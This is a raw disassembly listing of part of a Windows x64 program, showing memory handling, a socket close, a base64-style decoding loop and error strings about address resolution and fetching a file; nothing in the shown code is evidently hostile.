mov dword [rdx + 1], eax
mov eax, dword [rsp + 0x130]
mov ecx, dword [rsp + 0x133]
mov dword [rdx + 9], eax
mov dword [rdx + 0xc], ecx
mov byte [rdx], dil
mov byte [rdx + 8], 3
lea rcx, [rsp + 0x1580]
call fcn.14007537c
lea rcx, [rsp + 0xde0]
call fcn.14007541c
jmp 0x14000c063
mov rcx, rdi
call fcn.14000278e
mov edi, 1
mov rcx, rsi
call fcn.140084dc0
mov rcx, 0xffffffff80000002
call fcn.140084dc0
test edi, edi
lea rax, [rsp + 0x1588]
lea rsi, [rsp + 0xde0]
mov ecx, 0x10
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rax + 0x80], 5
mov dword [rax + 0x88], 0
mov ecx, 0x3b9aca00
mov dword [rax + 0x98], ecx
mov dword [rax + 0xa8], ecx
mov dword [rax + 0xb8], ecx
mov dword [rax + 0xc8], ecx
mov qword [rax + 0xd0], 1
mov ecx, 2
mov qword [rax + 0xd8], rcx
mov qword [rax + 0xe0], 0x20
mov qword [rax + 0xe8], rcx
setne byte [rax + 0xf0]
mov dword [rax + 0xf1], 0x1000001
mov word [rax + 0xf5], 0x400
jmp 0x14000c073
lea rdi, [rsp + 0x11c0]
lea rdx, [rsp + 0x1580]
mov r8d, 0x11c
mov rcx, rdi
call fcn.140085b90
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0xd0]
mov qword [rax + 0x150], rcx
lea rcx, [rsp + 0x450]
mov r8d, 0x11c
mov rdx, rdi
call fcn.140085b90
cmp ebx, 0xa
je case.0x14000ecef.1
lea rcx, [rsp + 0xde0]
lea rdx, [rsp + 0x450]
mov r8d, 0x11c
call fcn.140085b90
jmp 0x14000d9d6
add rcx, 0x10
call fcn.140009075
call fcn.140039d19
ud2
mov eax, dword [rsp + 0xde0]
mov ecx, dword [rsp + 0xde3]
mov dword [rsp + 0x353], ecx
mov dword [rsp + 0x350], eax
mov al, byte [0x1400ea9e0]
mov ecx, 0x28
mov edx, 8
call fcn.140010eab
test rax, rax
je 0x1400107de
mov rbx, rax
mov qword [rax], rsi
mov qword [rax + 8], r14
mov rax, qword [rsp + 0x118]
mov qword [rbx + 0x10], rax
mov rax, qword [rsp + 0xd0]
mov qword [rbx + 0x18], rax
mov al, byte [rsp + 0xd8]
mov byte [rbx + 0x20], al
mov eax, dword [rsp + 0x350]
mov ecx, dword [rsp + 0x353]
mov dword [rbx + 0x21], eax
mov dword [rbx + 0x24], ecx
test r12, r12
je 0x1400107c5
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x180]
call fcn.140002da1
lea rsi, [0x14008bb18]
jmp 0x14000dda1
mov ecx, 8
mov edx, 0x28
jmp 0x140010bd4
mov ecx, 8
mov edx, 0x30
jmp 0x140010bd4
lock dec qword [rsi]
jne 0x14001080f
lea rcx, [rsp + 0x980]
call fcn.140035b57
lock dec qword [rbx]
jne case.0x14000ecef.1
mov rcx, rbx
call fcn.1400315bf
jmp case.0x14000ecef.1
mov ecx, 8
mov edx, 0xb8
jmp 0x140010bd4
mov ecx, 0x80
mov edx, 0x200
jmp 0x140010bd4
mov ecx, 8
mov edx, 0x18
jmp 0x140010bd4
call qword [sym.imp.kernel32.dll_GetLastError]
mov rcx, r14
call fcn.140002d4f
mov rax, qword [rsp + 0x9a0]
test rax, rax
je 0x140010881
lock dec qword [rax]
jne 0x140010881
mov rcx, qword [rsp + 0x9a0]
call fcn.1400818b9
cmp qword [rsp + 0xb38], 0
je 0x140010899
lea rcx, [rsp + 0xb38]
call fcn.1400043b2
cmp qword [rsp + 0xd8], 0
je 0x1400108b6
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1588], 0
je case.0x14000ecef.1
mov r8, qword [rsp + 0x1580]
mov rcx, qword [0x1400ea708]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14000ecef.1
add rcx, 0x10
call fcn.1400369fa
jmp case.0x14000ecef.1
mov rsi, r14
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.140040308
test rsi, rsi
lea rdi, str.could_not_resolve_to_any_addresses
cmovne rdi, rsi
cmp qword [rsp + 0x378], 0
je 0x140010cac
mov rsi, qword [rsp + 0x370]
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140010cac
mov rdi, qword [rsp + 0x5a8]
cmp qword [rsp + 0x1408], 0
je 0x140010c9e
mov r8, qword [rsp + 0x1400]
mov rcx, qword [0x1400ea708]
xor edx, edx
jmp 0x140010c98
or rcx, 1
jmp 0x1400109a6
or rcx, 2
jmp 0x1400109a6
or rcx, 3
jmp 0x1400109a6
or rcx, 4
jmp 0x1400109a6
or rax, 5
jmp 0x140010998
or rax, 6
jmp 0x140010998
or rax, 7
xor ebx, ebx
mov rdi, rax
jmp 0x140010b8e
or rcx, 5
xor ebx, ebx
mov rdi, rcx
jmp 0x140010b8e
mov rdi, qword [rsp + 0x100]
or rdi, 6
jmp 0x140010b4a
mov rdi, qword [rsp + 0x100]
or rdi, 7
jmp 0x140010b4a
mov rdi, qword [rsp + 0x100]
or rdi, 8
jmp 0x140010b4a
mov rdi, qword [rsp + 0x100]
or rdi, 9
jmp 0x140010b4a
mov rdi, qword [rsp + 0x100]
or rdi, 0xa
jmp 0x140010b4a
mov rdi, qword [rsp + 0x100]
or rdi, 0xb
jmp 0x140010b4a
mov rdi, qword [rsp + 0x100]
or rdi, 0xc
jmp 0x140010b4a
mov rdi, qword [rsp + 0x100]
or rdi, 0xd
jmp 0x140010b4a
mov rdi, qword [rsp + 0x100]
or rdi, 0xe
jmp 0x140010b4a
xor ebx, ebx
jmp 0x140010b8e
test r12d, r12d
cmovg rdx, rax
add rdx, r8
mov r15b, 0x3d
xor ebx, ebx
mov rdi, rdx
jmp 0x140010b8e
inc r8
jmp 0x140010b89
add r8, 2
jmp 0x140010b89
add r8, 3
jmp 0x140010b89
add r8, 4
jmp 0x140010b89
add r8, 5
jmp 0x140010b89
xor ebx, ebx
mov rdi, r8
cmp qword [rsp + 0x5a8], 0
je 0x140010bb0
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, qword [rsp + 0xd0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov al, byte [0x1400ea9e0]
mov ecx, 0x10
mov edx, 8
call fcn.140010eab
test rax, rax
jne 0x140010bdb
mov ecx, 8
mov edx, 0x10
call fcn.140085d53
ud2
mov rsi, rax
mov byte [rax], bl
mov byte [rax + 1], r15b
mov qword [rax + 8], rdi
lea rbx, [0x14008bc08]
xorps xmm0, xmm0
movups xmmword [rsp + 0xde8], xmm0
mov qword [rsp + 0xde0], 1
lea rdx, [rsp + 0x5a0]
mov qword [rdx + 0x30], 0x20
mov byte [rdx + 0x38], 3
xor eax, eax
mov qword [rdx], rax
mov qword [rdx + 0x10], rax
lea rax, [rsp + 0xde0]
mov qword [rdx + 0x20], rax
lea rax, [0x14008bc60]
mov qword [rdx + 0x28], rax
mov rcx, rsi
call qword [rbx + 0x20]
test al, al
je 0x140010c48
ud2
mov rax, qword [rsp + 0xdf0]
lea rdx, [rsp + 0x1940]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [rsp + 0xde0]
movaps xmmword [rdx], xmm0
mov cl, 0x15
call fcn.1400296b7
mov rdi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.1400043f3
cmp qword [rsp + 0x278], 0
je 0x140010c9e
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, qword [rsp + 0xe0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ws2_32.dll_closesocket]
mov qword [rsp + 0xde0], rdi
lea r12, [rsp + 0xde0]
mov qword [rsp + 0x5a0], r12
lea rdi, case.0x1400379cb.83
mov qword [rsp + 0x5a8], rdi
lea rax, [0x14008c438]
lea rsi, [rsp + 0x980]
mov qword [rsi], rax
mov ebx, 2
mov qword [rsi + 8], rbx
xor r14d, r14d
mov qword [rsi + 0x20], r14
lea r13, [rsp + 0x5a0]
mov qword [rsi + 0x10], r13
mov r15d, 1
mov qword [rsi + 0x18], r15
mov rcx, rsi
call fcn.140039314
mov qword [rsp + 0x5a0], r12
mov qword [rsp + 0x5a8], rdi
lea rax, str.Error_while_getting_file:
mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov qword [rsi + 0x20], r14
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r15
lea rcx, [rsp + 0x980]
call fcn.1400391f8
call fcn.14003e8b8
ud2
call fcn.140012bd3
ud2
mov rdi, r15
jmp 0x140010c9e
mov ecx, 8
mov edx, 0x60
jmp 0x140010bd4
mov ecx, 8
mov edx, 0x120
jmp 0x140010bd4
mov rdi, qword [rsp + 0x988]
cmp qword [rsp + 0x378], 0
jne 0x14001092c
jmp 0x140010cac
xor esi, esi
jmp 0x1400108f2
lea rdi, [r8 + r10]
dec rdi
mov bl, 2
jmp 0x140010b8e
lea rcx, [rsp + 0x5a0]
call fcn.14000208b
mov rdi, rax
jmp 0x140010c9e
lea rcx, [rsp + 0xde0]
call fcn.1400026c9
jmp case.0x14000ecef.1
add rax, r8
mov r15b, 0x3d
jmp 0x140010998
add rdx, r8
jmp 0x140010b5b
mov rdi, rbx
mov bl, 1
sub rdi, 1
jb 0x140010e94
mov rax, qword [rsp + 0xe0]
movzx r15d, byte [rax + rdi]
cmp r15, 0x3d
je 0x140010e94
lea rax, [0x14008bda6]
cmp byte [r15 + rax], 0xff
je 0x140010b4a
jmp 0x140010b8e
lea rcx, [rsp + 0x210]
call fcn.1400045a1
jmp case.0x14000ecef.1